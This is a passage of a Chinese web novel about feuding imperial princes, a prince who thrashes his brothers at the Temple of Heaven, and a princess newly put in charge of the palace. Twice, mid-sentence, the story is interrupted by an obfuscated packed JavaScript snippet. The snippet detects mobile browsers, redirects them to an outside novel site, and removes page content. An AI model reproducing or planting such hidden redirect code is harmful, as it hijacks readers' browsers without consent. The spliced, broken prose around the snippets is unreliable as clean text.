:“往日里在朝堂上的时候可不见大哥跟二哥这般和睦。当下共患难后,你们二人倒是和睦起来了。二哥莫不是有意举荐大哥当太子?” 梁王跟鲁王同时瞪着赵王。 此时两人心里想法一致:老三这张贱嘴,必须得找个机会好好治一治! “秦王殿下这是作甚!危险啊!快放下刀!” 左天坛尉出去之后看到秦王举着刀架在自己的脖子上,他被这一幕惊吓到了。大声惊呼后,直接当场跪求这位皇子放下绣春刀! 天降警示才过去几天,若是皇子自尽于天坛,天下人会如何议论此事! 保不齐会传出皇子代替天子,以命祭天平息天怒这些闲言碎语! 若是秦王真死在天坛,皇帝必然大怒!他们这两个天坛尉铁定要被处死! 赵王听清楚外面的声音,倏然精神抖擞。顾不得继续讥讽梁王跟鲁王了,抓紧时间撑着身子往外走。 梁王与鲁王紧跟随在赵王的身后走出天坛。 “秦王殿下!下官已经派人进宫了!您先放下刀!莫要伤到贵体!” 右天坛尉看到左天坛尉跪下来后,也跟着跪下来恳求秦王放下刀! 他心里惶恐是不是因为自己先前说错了什么话,才会刺激到秦王发疯拿着刀要自尽。 赵王、梁王、鲁王寻着声音饶了天坛半圈才来到事发现场。 看到秦王举着刀架在自己的脖子上,赵王惊讶地喊道:“五弟!你难道要寻死?你若是死了,在场所有人都得受到连累!” 两位天坛尉听到赵王的话,第一反应觉得赵王真是太体贴人了!可随即又觉得不对劲!万一秦王听了这话发疯抹脖子,拉着他们一群人陪葬怎么办! 还没等他们出声劝说,紧接着听到了梁王跟鲁王的声音。 “五弟!快放下刀!有话好好说!”梁王沉着脸命令秦王。 鲁王直接踹了一脚赵王,大声骂道:“啥也不是,净会添乱!你是不是巴不得老五赶紧抹脖子!” “啊——” 赵王本来就是撑着一把椅子出来的,突然被鲁王踹了一脚,本就发麻无力的双腿登时就站不住了,猛然往前栽倒,直接滚落台阶。 周瑜然冷眼看着这三个儿子,握着刀的手气得发抖。 这个废物身子双臂实在是没力气了,险些要握不住刀,他只能将刀放下,立在地上。 手指着梁王等人,周瑜然怒斥道:“滚!” 赵王双手乱成一团,一会儿捂着膝盖,一会儿捂着头,一会儿摸着脸。 面色痛苦地爬起来,他怒瞪着鲁王骂道:“是你踹我!老二,你才是最阴险狠辣的那个!想要趁乱杀了我!你太狠了!” 鲁王见秦王已经放下刀,再一听赵王这般说他,怒吼道:“狗嘴吐不出象牙!明明是你自己站不稳摔倒,怎好意思无赖于我!” 赵王面目狰狞地骂道:“骂我是狗,你又是什么东西!” 梁王皱着眉头开口拉架:“行了!都少说两句!” 赵王觉得自己被老大老二这两个人合起伙来欺负了,扭头冲秦王叫道:“老五!你都看到了吧!他们两当下穿一条裤子!合起伙来欺负我一个人!” 在场的禁军跟两名天坛尉被这几位皇子的反应惊得手足无措。 当下的闹剧,到底谁才是主角? 见到这三个儿子这般丢人现眼,当众争吵不休,周瑜然黑着脸丢下绣春刀朝他们走过去。 20.第 20 章 第二十章你不要过来啊 周瑜然走到赵王身前。 赵王以为对方是来搀扶他的,顺势伸出手要耷拉在秦王身上。却不料被对方撇开了! “老五!你何意?”赵王很生气! 过去他可没少借钱给秦王!秦王不肯帮他做事也就罢了!这次回京还一而再地驳他面子,甚至还动脚踹他! 周瑜然非但避开了赵王的手,甚至太抬起手对着赵王的脸给了一个大逼兜。 “啪——” 清脆的巴掌声传入每个人的耳中。 梁王跟鲁王睁大了眼睛。 老五不得了啊! 刚才在天坛里踹老三也就罢了!俗话说打人不打脸!现在老五连老三的脸都敢打! 两位天坛尉以及在场的禁军也看傻了。 不过一想到秦王已经放下刀,暂时不闹着寻死了,这让他们松了口气! 赵王被打懵了,整个人瞠目结舌,捂着脸不敢置信地瞪着秦王。怒火蹭地一下爆发出来,他反应过来自己被秦王打脸后,激动地朝对方伸出双手要打回来。 周瑜然早有所料,侧身避让,再扫一腿过去,直接将赵王扳倒,让对方再次滚下台阶。 他冷眼看着赵王滚下去,面无表情地斥道:“丢人现眼的玩意儿!” 赵王怒不可遏,哪怕摔疼了也马上爬起来。朝离他最近的一名禁军爬过去。 见状,其他禁军如同躲瘟神似的赶紧退后。甚至还护住了自己的绣春刀,唯恐会被赵王夺走。 赵王拿不到刀,只能抓起地上的石子朝秦王那边砸去,面色狰狞地骂道:“祖宗的!到底是谁在丢人现眼!不是你先拿着刀上演自尽的戏码吗!你如何好意思指责别人丢人现眼!” “老五,你就是个养不熟的白眼狼!从小到大我自认对你不薄!你每回厚着脸皮讨吃的,我哪回没分几口给你吃!明知道你是个借钱不还的混账,我每次还不是把钱借给了你!” “你不帮我就罢了!两年不见,一回来见了面就对我动手动脚!当着这么多人的面,竟敢照着我的脸打!你个目无尊长的狗东西!真是一点颜面都不给我!今日我算是看透了你是个什么玩意儿!立刻还钱!你我兄弟之情到此结束!” 见赵王还在逼逼叨叨,当众揭露皇家丑事,继续丢人现眼。周瑜然面色阴沉地朝他走过去。 赵王双腿瘫软无力,本就站不起来了。看到秦王一脸阴煞地走过来,登时尖叫着喊人:“尔等都愣着作甚!还不快保护本王!本王若有闪失,定要你们陪葬!” 两名天坛尉也回过神来了,赶紧过去劝阻秦王。 “秦王殿下冷静!您与赵王殿下乃手足!有事好好说!切勿动手!” 周瑜然被两名天坛尉拦着,无法靠近赵王。只能阴着脸撂下话:“管住你这张嘴!” 梁王跟鲁王看到这里,二人心里很是满意。 就得靠老五这种浑人出手收拾老三那张贱嘴! 梁王见鲁王还扒拉着自己,眼中多了一股嫌弃,直接将对方推开。 鲁王乍然被梁王推开,本就没站稳的身子猝不及防跌倒在地。 他怒瞪着梁王骂道:“大哥为何推我!” 梁王也没想到鲁王会摔倒,心里怀疑对方是故意的,面色不悦地言道:“你自己站不稳反倒问我?” 鲁王气笑了,撑着身子半爬起来,质问对方:“若非大哥推开,我又怎会摔倒在地!” “胡言乱语!休要污蔑我!”哪怕双腿无力,梁王也要站直身子,保持气势,眼神轻蔑地睨视着鲁王。 一波未平一波又起,周瑜然刚教训完赵王,就听到梁王跟鲁王那边争吵的声音。 这一个个的孽障!莫不是都想气死他! 周瑜然咬着牙根,脸色阴鸷地朝他们走去。 梁王跟鲁王正在因为推搡的事情吵得投入,压根没发现秦王在朝他们靠近。 赵王原本还想继续骂一骂秦王,发现梁王跟鲁王那边吵起来了,秦王一转身直接朝那边走去。 他的心里顿时冒出了微妙的感觉。迫切盼望着老五平等的冲老大跟老二发疯!同样抽打老大跟老二的脸! 鲁王发现自己倒在地上,对比梁王站得如此笔直,他从气势上就输了一截,赶紧喊外援,冲其他人命令道:“都死了吗!没人过来搀扶本王!” 两名天坛尉也不知道该继续护着赵王还是该过去将鲁王搀扶起来。 正当右天坛尉要迈出脚步的时候,身后忽然伸出一只手拽住了他的衣袖。 右天坛尉:??? 一转头就对上了赵王别有深意的目光。他面色愕然,眼神疑惑的与赵王对视。 赵王又伸出了另一只手,拽着左天坛尉的胳膊。 左天坛尉:??? 赵王要干啥? 周遭的禁军见两名天坛尉都没有过去,他们自然也不敢贸然靠近鲁王,唯恐给自己招惹上麻烦! 鲁王喊完之后,发现无人过来搀扶自己,正准备冲这些看戏的人发火,倏地发现秦王脚步缓慢地朝这边逼近! 自古吵架的人,都会下意识的博取局外人的帮助。 此时的鲁王还没意识到不对劲,见秦王过来,指着梁王对秦王说道:“老五,你瞧瞧大哥哪里有个长兄的样子!方才你是没瞧见,他故意将我推倒在地!” 梁王比鲁王先一步发现秦王过来了。察觉到秦王的情绪不太好,心里生出一股危机感。 他闭嘴不再理会鲁王,转身踉踉跄跄地要回天坛里。 见梁王要走,鲁王当即爬过去保住他的双腿。 本来梁王就是强撑站着,鲁王猛然用力抱着他的双腿,让梁王瞬间失去了对下半身的掌控。高大的身子立马往前扑倒! 往日里这三个儿子在他面前表现得多沉稳,现在看到他们这副丢人现眼的模样周瑜然就气得有多厉害。 走上台阶,周瑜然照着鲁王的腿踢了一脚。 看到梁王摔倒在地,鲁王面上绷不住笑起来,乍然感觉到光线暗了一些,扭头一看正好目睹秦王正在踢他这双发麻的腿! 鲁王:!!! 他张嘴吼道:“老五!你敢踢我!” 周瑜然见鲁王胆敢冲自己怒吼,真是目无尊长!心中怒火烧得更旺,下一脚直接往鲁王的脸上踹。 鲁王看到那只脚往自己脸上袭来,赶紧松开梁王要护住自己的脸,可惜他的动作慢了一步! 混着各种恶心味道的泥泞随着脚力碾压在鲁王的脸上,鲁王下意识闭上眼睛,紧紧咬着牙关,恨不得把自己的嘴巴跟鼻孔都给缝上! 这一刻天暗了,心黑了,他想杀人了! 梁王被鲁王扑倒后正欲发火,未料当下的情况发展得太快,让他始料不及。 一抬头正好看到秦王在踩鲁王的脸,这一幕惊得他脸色大变,此刻也顾不得形象了。梁王赶紧爬起来,哪怕狼狈也要逃离现场! 老五疯了! 但凡是脑子正常的人谁会跟一个疯子正面接触! 自己可是皇长子!是储君的最佳人选!是未来的皇帝!绝对不能被老五踩在脚下! 倘若真的发生这样的事,史书绝对会记上一笔留给后人议论!梁王可不想丢人丢进史书里! 此时此刻,两只手爬行的梁王比八条腿的蜘蛛跑得还快! 当看到秦王踹鲁王时,赵王就乐了。 尤其是看到秦王脚踩鲁王的脸,赵王没忍住笑出声来。摸着自己的脸,忽然觉得左脸没那么疼了。 果然啊!哪怕老五疯了,对他还是留了情面的!真是不枉自己过去借出去那么多钱给老五! 见梁王爬走了,赵王生怕被对方躲过这场祸事,赶紧冲秦王提醒道:“老五!大哥跑了!” 他跟老二都被老五创伤了!绝对不能放过老大! 周瑜然转头望去,果然看到梁王正在飞快爬行! 从小到大最沉稳的长子,竟然比狗还狼狈!哪里有一丝皇家威严!就梁王就这样,还想当太子? 周瑜然当即追过去,怒斥道:“周景行!给我站起来!” 梁王听到秦王在叫他,面部突然出现一股幻疼感,连头也不敢回,铆足了力气使劲往天坛里爬。 赵王看到梁王都爬得没影了,消失在拐角处,而秦王却走得很慢。 他心里那叫一个急切!赶紧推开左右天坛尉,想要过去帮秦王抓住梁王。 可身子踉踉跄跄地往前走,还没走几步赵王倏地跌倒在地。 “嘶——” 赵王吃痛地摸着自己的腰。 脸上的脚撤走后,鲁王缓缓睁开眼睛,眼中杀气腾腾。 伸手一抹,脸上都是泥泞。鲁王怒吼起来:“老五!我跟你势不两立!” 此时鲁王脑子里只有一个念头——杀了老五! 他快速爬起来,眼神阴森地盯着禁军身上的绣春刀。指着离自己最近的那个禁军,厉声命令道:“你!把刀给本王!” 见鲁王这个癫样,赵王立马猜到对方对秦王起了杀心。 他赶紧出声说道:“老二!老五现在疯了,头脑不正常!你别跟他计较!大哥方才跑了!爬得比蜈蚣还快!老五去追他了!咱两快去看看!慢了一步可要后悔余生啊!” 鲁王:…… 先拿刀杀了老五呢,还是该先去看老五打老大? 赵王心里太急切了,可自己实在是爬不起来,只能命令那两名天坛尉:“你们两杵在那里演石像呢!还不快将本王扶起来!赶紧的!追上去!” 鲁王觉得自己应该先去看看秦王是怎么对梁王动手的! 毕竟杀老五,往后多的是机会!可看老五揍老大,这辈子或许就只能看这么一回!如老三所言,若是错过了这次可是要遗憾余生的! 鲁王见其中一名天坛尉已经将赵王搀扶起来了。而另一名天坛尉还是一脸懵逼的状态,生怕自己错过了精彩的事情,他黑着脸冲那名发呆的天坛尉喊道:“蠢货!还不速速将本王搀扶起来!” 右天坛尉一脸茫然地指着自己的鼻子,慢吞吞地走上台阶蹲下身子将鲁王搀扶起来。 赵王也顾不得嘲笑鲁王脸上的泥泞了,一个劲儿地催促身旁的天坛尉:“快点!快点!” 左天坛尉心里也着急啊!可奈何搀扶着一个年轻力壮的青年,实在是走不快! 赵王跟鲁王显然是存了看热闹不嫌事大的心态追过去。而他们身为天坛尉是要担责任的! 秦王在天坛闹自尽还不够,后面还演变成还兄弟相残,发生如此大事,皇帝必然要怪罪他们! 梁王已经爬回了天坛里,企图要将门关上,奈何他已经没多少力气了,凭他现在的力气根本关不上这几道门! 他跪好之后,一脸警惕地盯着门口。 周瑜然走到门口,看到梁王乖乖跪在里边。怒火被堵在心里发泄不出来!这种感觉让他感到胸口气闷。 老大又恢复了沉稳的模样,可周瑜然的脑子里全都是对方刚才蠕动身子爬行的画面。 梁王见秦王正在用那种阴恻恻的眼神盯着自己。 他满脸防备地望着对方,尽量用和气的开口劝说秦王:“老五,你先冷静冷静。大哥知道你离京两年,必然遭遇了很多事情。有什么委屈,坐下来慢慢说!只要大哥办得到,大哥必然会帮你!” 周瑜然阴沉沉地迈开脚步往里走。 梁王觉得危险在逼近,现在的秦王跟过去相比,仿佛是换了个人,一言不合就发疯打人!太可怕了! 见秦王一直往里走,梁王实在是跪不住了。一边挪动身子,一边维持着镇定继续劝说秦王:“老五,你、你就在那儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16169225|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐下!有困难开口,大哥帮你解决……” 周瑜然露出阴森的笑容,故意压低声音对梁王说:“我如今想杀了坐在皇位上的人,你能帮我?” 梁王:…… 老天爷啊!老五是真的疯了!在天坛里殴打几个哥哥也就罢了!竟然还想杀父弑君! 老五就藩去了沧州后到底都经历了什么事!怎么两年不见好好一个泼皮无赖变成了疯子! 这一刻梁王无比怀念过去的秦王!虽然是个混不吝的泼皮无赖,整天嬉皮笑脸不干正事,但好歹人是正常的啊!哪像现在不是要打人就是要弑君! 纵然梁王等人想坐上皇位,那也得走程序!谁不是先从夺嫡开始,争当太子往后才能名正言顺的继位! 而秦王,现在张嘴就嚷嚷着要杀父弑君!不是疯了,还能作何解释? 梁王被秦王的疯言疯语弄得满脸惊恐,身体比大脑反应更为迅速,不停往后挪动在躲秦王。 眼看秦王要逼近,梁王再也无法维持的模样,激动地出声喊道:“老五!你不要过来啊!” 从外面往里走的每一步,周瑜然都能感觉到这具身体的力量正在慢慢减少。见梁王如此不识趣,一直在躲着他,周瑜然气得脸色越发难看。 他猛然弯下身子双手扣住梁王的发冠,声音从牙缝里挤出来,阴沉地问:“不是你说要帮我的吗?你躲什么!” 梁王自小养尊处优这么多年,哪怕老二跟老三从小到大一直在跟他争夺父皇的关注,不管他们兄弟几个斗成什么样,好歹表面都会对他这个大哥恭恭敬敬的! 现在被秦王逼到角落里,对方对他如此不敬,竟敢抓着他的发冠!这跟提着他的人头有何区别! 梁王也是有脾气的,伸出双手用一身力气将秦王推开,面色铁青地叱骂道:“老五!我看你真是疯了!身为大哥!我必须得让你清醒过来!” 孽障! 周瑜然被推倒的那一刻,怒不可遏。 可他已经失去了对身体的掌控,整个人摔倒在地后瞬间晕了过去。 赵王跟左天坛尉比鲁王跟右天坛尉先一步来到门口,正好目睹了梁王推倒秦王的这一幕。 赵王心里气闷没有赶上秦王对梁王动手的时候,错过了这么精彩的大戏! 虽然看不到过程,但好歹看到了结尾! 见到秦王被梁王推倒在地后一动不动的,赵王顿时来劲儿了,激动地喊叫起来:“大哥!你杀了老五!你太狠毒了!” 梁王:!!! 真想立马挖个坑把老三跟老五一起埋了! “什么!大哥把老五给杀了!” 虽然鲁王人没有出现在门口,但是在赵王喊出口后,立马传来他惊叫的声音。 梁王真是要被这群弟弟气死了! 埋人的名单上立马添上了鲁王的大名,就该将老二等人也一块埋了! 赵王指着里边,也不进去,夸大其词的将自己看到的情况告诉鲁王:“二哥,大哥把五弟杀了!我亲眼所见,他推开了五弟!然后五弟就倒在地上不省人事了!五弟本就受了一身伤,脑子不太灵光,大哥不照顾五弟也就罢了,竟然还动手杀了五弟!” 鲁王晚了一步,什么都没有看到,只看到梁王表情惊怒,秦王倒在地上。 他眼神愤怒地瞪了眼右天坛尉,都怪这厮慢慢吞吞!导致他错过了精彩的大戏! 听了赵王的话,梁王气得要吐血,大声解释道:“老三!你住口!我没有杀老五!” 赵王摇头,面色悲痛地言道:“大哥!我亲眼所见,你难不成连我也容不下!想要将我灭口?” 梁王是真想活埋了赵王啊! 知道跟赵王掰扯这些都是无用的,他对着鲁王解释道:“二弟!老三是什么德行你也清楚!他那张嘴向来说话没有几个字能信的!净会颠倒是非黑白!添油加醋夸大其词!唯恐天下不乱!你可莫要信了他那张嘴!” “方才的情况是瞧见老五要栽倒了,我想搀扶他,奈何动作慢了一步!我伸出手的时候,老五已经倒下了!老三看到后故意扭曲事实情况!眼下的当务之急是先让御医来看看老五!” 解释到这里,梁王大声冲外面呐喊:“御医!快传御医!” 虽然梁王心里恨不得立马埋了这些弟弟,但是眼下可不是让这些弟弟去死的好时机! 尤其是秦王,绝对不能死!要不然赵王必然要把脏水泼在梁王身上! 朝堂上的唾沫,民间的议论,完全就是一把把夺命的刀子! 还差几步就要摸到东宫的大门了,梁王可不想在这种时候被赶到千里之外! 听梁王解释了一通,鲁王也恢复了冷静,看赵王的眼神多了几分鄙夷。 老三可真是根搅屎棍! 但是老五若是真的死了,没准还真能借此事件将老大踩在脚下! 外面的御医已经赶过来了,他们弯着腰对堵在门口的梁王与鲁王说话:“劳请二位殿下借过,容下官先进去救人!” 鲁王忽然捂着脸,露出痛苦的神色叫道:“本王好难受!定是方才被大哥推倒在地弄伤了头部!你们快救救本王!” 赵王的视线与鲁王对上,两个坏心眼子秒懂对方的算计。 赵王直接伸手拽着其中一名御医,嚷嚷道:“哎哟!本王的腰好疼啊!本王是不是要死了!快救本王!” 梁王瞪大双眼怒视他们,心里破口大骂:这两个畜生!存了歹心阻挠御医救治老五! 秦王若是死了这屎盆子就扣在梁王头上摘不下来了! 他着急地命令外面的那两个御医:“本王命令你们先进来救秦王!秦王伤重!已经晕倒!若是他有任何闪失,出了事你们耽搁救治,父皇定会治罪你们全族!” 这话也是在警告鲁王跟赵王,回头算账起来他们也别想撇开责任! 21.第 21 章 第二十一章站着说话不腰疼 后宫大权交到永和公主手上,必然会掀起一波风浪。 万秉德还以为永和公主初摄六宫事务,会不敢面对贤妃、惠妃、宁妃呢。 未料,永和公主不单在新住处招待了她们,还跟她们相处得不错! 千岁殿那边闹也出了一些动静。 永宁公主听说永和公主抢走了陈皇后的后宫大权,气得跑来千岁殿大骂永和公主,并且打了对方一个耳光。 因此事,永和公主今日没有到千岁殿学习。 万秉德见到永和公主的时候,对方脸上还有清晰可见的手掌印,可见永宁公主这一巴掌打得不轻! “公主殿下,您这脸怎么了?” 哪怕来之前已经打听清楚这两日后宫的风波,万秉德见了面也得装作不知情,对永和公主表达关怀。 永和公主轻轻摇头,示意宫人给万秉德搬椅子,请对方坐下。 她低声撒谎:“有只蚊虫恰巧飞到脸上,我下手重了一些。” 万秉德一脸关心地言道:“女子以容为重,殿下要好好照顾自己。” 永和公主淡淡一笑,回应道:“多谢万少监关心,已经敷了药,明日便会好。” 心里清楚万秉德不会无缘无故过来找她,永和公主并未着急主动询问对方的来意,任由万秉德来主导话题。 万秉德点了点头,对永和公主说:“今日陛下问起了殿下。不知殿下对后宫事务学习得如何?若有难处,奴婢必当尽力为殿下办妥。” 永和公主揣测这话里的意思。 父皇究竟是听到了风声才派万秉德过来打探,还是信不过她的能力,才会安排万秉德帮衬她? 低眉斟酌了一下,她轻声言道:“实不相瞒,万少监,我的确是遇到了一些难事需要请教。” “殿下请讲。”万秉德也不喝茶,坐直身子看着永和公主。 永和公主叹了口气,告诉对方:“这两日,贤妃娘娘、惠妃娘娘、宁妃娘娘都派人送来了不少东西。她们得知我不用和亲,向我提了几位年轻的世家子弟。永宁当下只想为父皇分忧,并无其他念想。” 深知自己迟早要面对贤妃、惠妃、宁妃的拉拢,永和公主这两日没有再躲避她们。分别招待了这三人,彼此相互试探。 发现贤妃、惠妃、宁妃都想利用婚事作为政治拉拢手段她。哪怕父皇不派万秉德过来了解情况,永和公主也会找机会将此事禀告给父皇。 永和公主笃定,父皇既然安排她来管后宫,就绝对不会让她倾向任何一股皇子势力。她这边不能开口拒绝贤妃、惠妃、宁妃的示好与拉拢,如此必然会得罪她们。所以只能让父皇张这个嘴去警告这三位妃子。 万秉德眼中闪过一抹讥讽,面色平静地回应永和公主:“殿下之意,奴婢必当如实禀告陛下。” 永和公主不疾不徐将这几日的学习情况告诉万秉德。借万秉德之口让皇帝知道她的努力。 万秉德离开前,特地向永和公主强调:“殿下若是遇到任何难处,都可派人来找奴婢!” 永和公主起身,面色犹豫,叫住对方:“万少监请留步!” 万秉德弯下腰,眼神疑惑地看着永和公主。 永和公主抿了抿嘴,走到他面前,压低声音问道:“听说我五哥回来了?” 万秉德回想了一下,秦王还在宫里的时候,好像常去寿康宫。听说秦王就藩后,每个月都会派人捎东西到寿康宫那边。由此可见秦王与永和公主的关系的确不错。 秦王前脚刚回来,这个消息立马就传到了后宫,还传到了永和公主的耳中。永和公主初摄六宫事,哪怕手握大权也不可能消息这么灵通。只能说明是有人故意将这个消息传给永和公主,让永和公主着急。 万秉德故作诧异地反问:“秦王殿下回京了?” 永和公主被万秉德的反应弄得愕然,心里迷茫。 五哥回京擅闯皇宫这事到底是真是假? 万秉德低着头,对永和公主言道:“殿下眼下的任重是尽快上手后宫事务。” 永和公主眼神深深地盯着万秉德的头顶。 看来五哥的确是回来了,无诏入京,擅闯皇宫都是真的。 有人知道她跟五哥关系好,故意透露风声给她。想要让她自乱阵脚,跑去求父皇饶恕五哥! 如此必然会引得父皇大怒,让父皇收走后宫大权! 到手的后宫大权还没有捂热就被夺走,永和公主没有了庇护自己的工具,立马变回寿康宫的那个小可怜!最后怕是还会送去和亲! 想明白这里边的弯弯绕绕后,眼睛露出几分惊恐的神色,永和公主低声回应万秉德:“多谢万少监提醒!” 万秉德抬头瞥了眼永和公主,明明七公主的年纪比千岁殿的永宁公主还要小两岁,但是永和公主可比永宁公主沉稳多了。稍一点拨,就能明白里边的玄机。难怪皇帝会让永和公主来接手后宫大权! “奴婢告退。”万秉德转身离开。 永和公主示意宫人送万秉德出去,脸色变得很凝重。 要说当下最厌恶她的,必然是千岁殿那边。陈皇后失去后宫大权,成为后宫的笑柄,宁妃已经不止一次在永和公主面前嘲笑过陈皇后。哪怕贤妃跟惠妃虽然没有明着讥讽陈皇后,但是话里提起此事也带着一股暗讽。 今日永和公主到万岁殿学习,遭到永宁公主的打骂。她正好借此事件疏离千岁殿那边,不再过去学习。前脚刚从千岁殿回来,后脚就秦王出事的消息就传过来了,是谁故意将这个风声传到她这里结果显而易见! 自己初摄六宫事务,永和公主不愿得罪人。可这些人就跟饿狼捕兔似的,每一股势力都急需咬她一口,实在是让人烦躁。 万秉德还没回到万岁殿,路上就遇到了自己的亲信。 从亲信口中得知天坛那边闹起来了,他顿时脸色大变。急忙加快脚步回到万岁殿。 “启禀陛下!奴婢复命!” “宣!”里边传来曹望的尖嗓子。 万秉德心里感到微妙,难不成他出去办事期间曹望一直待在皇帝身边伺候?李正喜也不像是生病的模样,怎么会把伺候皇帝的机会让给曹望?莫不是先前这两人嘀咕的就是此事? 弯着腰低头进入寝殿内室,万秉德跪着禀告:“启禀陛下,永宁公主今日在千岁殿打骂了永和公主。贤妃、惠妃、宁妃这两日亲近永和公主,提起了永和公主的婚事。” “呵——” 正在漫不经心地翻阅这几日堆积的政务的周安之冷笑一声。 万秉德等了一会儿,见皇帝没有开口说话,小心翼翼地说出下一件事:“天坛那边出事了。秦王醒来后,夺刀欲要自尽。而后不知为何,秦王与赵王、鲁王、梁王动手。” 周安之:??? 猛地丢下手中的奏折,他指着万秉德说道:“抬起头!细说天坛的情况!” 万秉德缓缓抬起头,眼神忐忑地观察了一眼皇帝的面色。察觉到皇帝的眼神里带着一股兴奋,他心里诧异,低声说道:“秦王醒来之后,先与赵王动手,到了天坛外,秦王忽然从禁军手中夺走刀架起来,大声请求觐见陛下。” “其后梁王、鲁王、赵王出去劝说秦王。秦王不知为何恼怒起来,努骂他们‘丢人现眼’。先后动手抽打了赵王的脸,脚踩鲁王的脸,而后追着梁王回到天坛里。二人争执的时候,秦王被梁王推到昏厥。” 万秉德毕竟没能亲眼目睹现场情况,只能将信息展开简要地描述一下。 拼命压下想要上扬的嘴角,周安之忍着笑意骂道:“混账!” 遭遇了这么大的变故,父皇老登心里的怒意都攒成一座火山了。赵王向来嘴欠,必然是说了什么话激怒了父皇,引得父皇将火气发泄在其身上! 听到皇帝发火,连同曹望也跪了下来。万秉德立马低下头。两人同时出声:“陛下息怒!” 发生这么大的乐子,周安之可真想让人将这出好戏上演一遍给他看,一边看戏一边嗑瓜子,岂不美哉! 可惜了,自己现在是皇帝。哪怕此刻很高兴,也得掩藏这份情绪。甚至还要装作发怒的模样。 太难了!到底这种苦日子什么时候才到头啊! 沉默了片刻后,周安之调整好状态,沉着脸对万秉德言道:“你亲自过去,看好秦王!带上几个善丹青速写的画师!将他们的一举一动都给朕画下来!” 画下来!必须得将现场情况画下来! 额头抵在冰凉的地砖上,万秉德回应道:“奴婢遵命!” 跪着一步步退下去,出了内室万秉德才缓缓爬起来,弯着腰离开寝殿。 顾不得了解清楚李正喜跟曹望之间达成了什么交易,万秉德赶忙出宫奔赴天坛。 “曹望。” 听到皇帝的声音,曹望抬起头望着对方。 周安之命令道:“让那几个闲在家中的皇子滚来见朕。” 手里头有这么多政务要处理,后宫不让人省心,天坛那边也出了热闹。周安之要面对这么多烦心事,再一想到静王等人舒舒服服的躺在王府里,他顿时心里不平衡了!必须得给老四他们安排点活! “是!” 曹望赶紧出去找人办事。 天坛里,两名御医刚刚为秦王处理完伤口。 他们说道:“秦王殿下这是饿过头了,再加上急火攻心,才会昏厥。” 梁王追问清楚:“可有性命之忧?” 两名御医同时摇头。 方才的闹剧他们看在眼里,但是他们可不敢凑上前去。听到传唤才匆忙过来救人。 得知秦王并无大碍只是晕过去了,梁王眼神冷傲地斜视着赵王,那眼神大有秋后算账的意思。 赵王故意装傻,嚷嚷着疼痛,让御医过来给他瞧瞧腰:“本王的腰啊!真疼!你们二人还不快过来!” 鲁王正背对着他们擦掉脸上的泥泞,期间感觉嘴巴进了沙子,张嘴吐出来:“呸呸呸!” 老五这个狗东西!等离开这里,他必定要把对方的脸打得比猪头还猪头! “二哥这脸真像花猫!”赵王刚笑话完鲁王,御医一上手摸腰,疼得他浑身瞬间抽搐起来,惊叫道,“混账!你想谋害本王!” 此时的赵王抽搐的模样堪比遭到电击。 鲁王见到赵王这个模样,顿时乐了,低声道:“活该!” 梁王觉得这两人真是没眼看,一脸嫌恶地别开头。 “啊啊啊啊!别碰本王!滚!滚啊!”赵王浑身抽搐地往前爬行,要逃离御医的魔爪。 梁王嫌吵,看到赵王往他这边爬过来,怀疑对方是故意的,其目的是想要再次吵醒秦王! 他皱着眉头斥道:“没看到五弟在歇息吗!你给我安静些!” 赵王疼得要死,被梁王呵斥,愤怒地咆哮起来:“遭受疼痛的人不是大哥,你自然站着说话不腰疼!我疼!我就要叫!” 见赵王又喊又叫,声音拔高好几度,梁王笃定对方就是故意的。指着那两个天坛尉命令道:“你们还不快给秦王换个安静之处休息!” 赵王可不愿意让秦王离开! 他还指望着秦王醒过来继续朝梁王发疯呢!面色狰狞地冲那两个天坛尉威慑:“父皇令五弟来天坛反省!你们若是敢将他弄出去,那就是违抗皇命!小心你们的脑袋!” 两个天坛尉压根不想掺合这几位皇子之间的争吵,纷纷低着头装耳聋。 万秉德站在门口将现场发生的情况看在眼里。 他带来的几位画师悄无声息地找好角度,开始作画。 梁王见使唤不动这两个天坛尉,眼看赵王离他越来越近,这厮还朝他伸出手! 像是在躲避什么洪水猛兽似的,梁王黑着脸闪身迅速避开赵王的手!嘴巴没闲着,咬牙叱骂:“老三!你闹够了没有!非要把老五吵醒,看着他折腾你才满意是吗?” “大哥这是小人之心度君子之腹!我看你是心虚了!生怕老五醒来会揭发你伤害他的事实!”赵王抓不到梁王,又气又急,疼得在地上打起滚来。 鲁王感觉到一股危险在包裹着自己。好不容易擦完脸,抬头看向梁王,又低头看向满地打滚的赵王,视线瞥向躺在一旁的秦王,最后目光才望向外面。 这一看,他浑身的血液仿佛凝固住了! 万秉德! 父皇派人来了! 不对!万秉德身旁的人在干什么? 写字?不像!难不成是在画画? 万秉德带来了画师画他们! 鲁王惊得脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209562|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色煞白,反应过来,僵着脸老老实实地跪好。 梁王发现鲁王突然跪下,疑惑地看向他,发现对方的脸色如此难看,心里有种不好的预感。 他蓦地抬头看向门口。 这一刻,梁王的感觉如同跌落了冰窟窿里!浑身被冰冻住了! 视线从万秉德身上移到对方身旁的人。发现此人在盯着他们奋笔书写,梁王心里咯噔一跳。再一扫左右两边窗户也有人在盯着他们奋笔书写!梁王吓得瞬间跪下! 赵王疼得哭爹喊娘,在地上打滚嚷嚷了好一会儿。发现周遭忽然好安静,意识到不对劲。 他忍着疼痛,停止打滚。 